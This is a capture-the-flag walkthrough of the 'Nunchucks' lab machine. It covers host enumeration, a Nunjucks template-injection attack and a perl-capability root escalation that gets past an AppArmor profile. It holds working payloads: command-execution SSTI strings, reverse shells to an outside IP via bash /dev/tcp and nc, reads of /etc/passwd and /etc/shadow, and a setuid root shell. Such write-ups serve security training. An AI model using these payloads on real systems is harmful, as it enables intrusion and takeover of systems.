Reconnaissance

First, I added the new host to my known ones:

sudo echo "10.10.11.122 nunchucks.htb" | sudo tee -a /etc/hosts

Then, I performed a Nmap scan:

nmap -sC -T4 -p- nunchucks.htb > sC.txt
 
[redacted]
PORT    STATE SERVICE
22/tcp  open  ssh
| ssh-hostkey: 
|   3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
|   256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_  256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp  open  http
|_http-title: Did not follow redirect to https://nunchucks.htb/
443/tcp open  https
|_http-title: Nunchucks - Landing Page
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after:  2031-08-28T15:42:24
| tls-nextprotoneg: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1

So I took a look at the webpage:

Inspecting the source code I discovered the /signup section, but itโ€™s currently unavailable:

So I decided to check for virtual hosts enumeration with Wfuzz ๐Ÿ™:

wfuzz -H "Host: FUZZ.nunchucks.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 30587 https://nunchucks.htb
 
[redacted]
=====================================================================
ID           Response   Lines    Word       Chars       Payload              
=====================================================================
 
000000081:   200        101 L    259 W      4028 Ch     "store"

So I added the new vhost and visited it:

Checking Wappalyzer, it seems that the server is using Node.js.

Exploitation

If we check Hacktricks, we can find a NUNJUCKS SSTI:

{{7*7}} = 49
{{foo}} = No output
#{7*7} = #{7*7}
{{console.log(1)}} = Error
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
# revshell
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.24/666 0>&1\"')")()}}

I got errors executing the upper payloads:

So I escaped the quotes:

{"email":"{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}@gitblanc.com"}
# revshell
{"email":"{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('mkfifo /tmp/fmkltf; nc 10.10.14.24 666 0</tmp/fmkltf | /bin/sh >/tmp/fmkltf 2>&1; rm /tmp/fmkltf')\")()}}@gitblanc.com"}

I got a reverse shell :D and can read user flag

Privilege escalation

Enumerating the filesystem we see that perl has setuid capabilities set:

getcap -r / 2>&1 | grep -v 'Operation not permitted' | grep -v 'Operation not supported'
 
[redacted]
/usr/bin/perl = cap_setuid+ep

So I checked GTFOBins:

which perl
/usr/bin/perl
 
# Then
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

If we now try to read the /etc/shadow file we canโ€™t even with the setuid enabled:

/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "cat /etc/shadow";'
cat: /etc/shadow: Permission denied

So I checked the output of the whoami command:

/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root

I tried to read the root.txt flag but had no permissions:

/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "cat /root/root.txt";'
cat: /root/root.txt: Permission denied

This has to be an AppArmor Profile stablished for perl. If we perform some enumeration:

ls /etc/apparmor.d/
 
[redacted]
-rw-r--r--   1 root root   442 Sep 26  2021 usr.bin.perl

There is a profile for perl :/

Inspecting the root path, I found a script in /opt:

#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid); 
POSIX::setuid(0); 
 
my $tmpdir        = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";
 
sub printlog
{
    print "[", strftime("%D %T", localtime), "] $_[0]\n";
}
 
sub archive
{
    printlog "Archiving...";
    system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
    printlog "Backup complete in $tmpbdir/backup_$now.tar";
}
 
if ($> != 0) {
    die "You must run this script as root.\n";
}
 
printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";

We can see that the script has the setuid set to 0, but we cannot make any changes to the script.

I checked the Apparmor version:

apparmor_parser --version
AppArmor parser version 2.13.3

So I searched in Google for โ€œApparmor bugsโ€. I found the following shebang bug in Launchpad, so I created a script that executes a shell as root:

#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash";

I executed it and became root. Got root flag!

Machine pwned!